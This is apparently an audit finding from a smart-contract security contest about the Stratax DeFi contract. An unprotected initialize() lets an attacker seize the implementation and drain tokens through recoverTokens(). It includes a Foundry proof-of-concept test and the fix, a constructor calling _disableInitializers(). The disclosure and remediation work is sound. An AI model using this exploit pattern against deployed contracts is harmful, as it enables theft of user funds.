Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: medium
Likelihood: medium

Missing _disableInitializers() in Stratax constructor allows anyone to take ownership of the implementation contract

Author Revealed upon completion

Description

  • Stratax is deployed as an upgradeable contract using the Beacon Proxy pattern. The proxy stores all user state and delegates calls to the implementation via delegatecall. Each proxy instance is initialized through initialize(), which sets the owner and protocol addresses.

  • The implementation contract has no constructor calling _disableInitializers(). As a result, initialize() remains callable directly on the implementation address by anyone. An attacker who calls it first becomes the owner of the implementation. Because initialize() uses the initializer modifier, the legitimate deployer cannot recover ownership — any subsequent call reverts permanently.

function initialize(
address _aavePool,
address _aaveDataProvider,
address _oneInchRouter,
address _usdc,
address _strataxOracle
// @> ) external initializer {
aavePool = IPool(_aavePool);
...
owner = msg.sender;
}

Risk

Likelihood:

  • Any on-chain observer monitors the mempool or block history for a newly deployed Stratax implementation and calls initialize() before or immediately after deployment — no special privileges are required.

  • The attack window remains open for the entire lifetime of the implementation until it is replaced, giving the attacker unlimited time to act.

Impact:

  • The attacker becomes the owner of the implementation and can call recoverTokens() to drain any ERC-20 tokens accidentally sent to the implementation address — a common user mistake in Beacon Proxy deployments where users confuse the proxy and implementation addresses.

  • Re-initialization by the deployer is permanently blocked by the initializer modifier, leaving the implementation compromised with no recovery path.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {Stratax} from "../../src/Stratax.sol";
contract MockERC20 {
mapping(address => uint256) public balanceOf;
function mint(address to, uint256 amount) external { balanceOf[to] += amount; }
function decimals() external pure returns (uint8) { return 18; }
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
balanceOf[from] -= amount;
balanceOf[to] += amount;
return true;
}
function approve(address, uint256) external pure returns (bool) { return true; }
}
contract InitializerAttackTest is Test {
address deployer = makeAddr("deployer");
address attacker = makeAddr("attacker");
/// @notice Attacker calls initialize() on the unprotected implementation and becomes owner.
function test_attackerInitializesImplementation() public {
vm.prank(deployer);
Stratax implementation = new Stratax();
assertEq(implementation.owner(), address(0));
vm.prank(attacker);
implementation.initialize(
makeAddr("aave"), makeAddr("dp"), makeAddr("1inch"), makeAddr("usdc"), makeAddr("oracle")
);
assertEq(implementation.owner(), attacker);
// Deployer cannot recover: re-initialization is permanently blocked
vm.prank(deployer);
vm.expectRevert();
implementation.initialize(
makeAddr("a"), makeAddr("b"), makeAddr("c"), makeAddr("d"), makeAddr("e")
);
}
/// @notice Attacker drains tokens accidentally sent to the implementation address.
function test_attackerStealsTokensFromImplementation() public {
vm.prank(deployer);
Stratax implementation = new Stratax();
vm.prank(attacker);
implementation.initialize(
makeAddr("aave"), makeAddr("dp"), makeAddr("1inch"), makeAddr("usdc"), makeAddr("oracle")
);
MockERC20 token = new MockERC20();
token.mint(address(implementation), 100e18);
vm.prank(attacker);
implementation.recoverTokens(address(token), 100e18);
assertEq(token.balanceOf(attacker), 100e18);
assertEq(token.balanceOf(address(implementation)), 0);
}
}

Recommended Mitigation

+ /// @custom:oz-upgrades-unsafe-allow constructor
+ constructor() {
+ _disableInitializers();
+ }
function initialize(
address _aavePool,
address _aaveDataProvider,
address _oneInchRouter,
address _usdc,
address _strataxOracle
) external initializer {

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!